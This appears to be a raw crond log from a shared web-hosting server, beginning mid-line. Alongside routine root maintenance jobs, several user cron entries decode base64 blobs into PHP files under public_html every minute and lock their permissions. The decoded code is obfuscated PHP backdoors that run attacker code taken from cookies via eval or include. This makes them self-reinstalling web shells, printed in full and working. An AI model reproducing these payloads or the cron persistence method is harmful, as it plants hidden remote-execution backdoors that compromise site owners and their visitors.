KCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:55:01 medusa CROND[20178]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:55:01 medusa CROND[20179]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:55:01 medusa CROND[20182]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:55:01 medusa CROND[20159]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:55:01 medusa CROND[20171]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:55:01 medusa CROND[20166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:55:01 medusa CROND[20174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:56:01 medusa CROND[11163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:56:01 medusa CROND[11235]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:56:01 medusa CROND[11236]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:56:01 medusa CROND[11238]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:56:01 medusa CROND[11239]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:56:01 medusa CROND[11240]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:56:01 medusa CROND[11248]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:56:01 medusa CROND[11249]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:56:01 medusa CROND[11250]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:56:01 medusa CROND[11251]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:56:01 medusa CROND[11252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:56:01 medusa CROND[11254]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:56:01 medusa CROND[11246]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:56:01 medusa CROND[11260]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:57:01 medusa CROND[2634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:57:01 medusa CROND[2648]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:57:01 medusa CROND[2671]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:57:01 medusa CROND[2672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:57:01 medusa CROND[2673]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:57:01 medusa CROND[2675]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:57:01 medusa CROND[2678]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
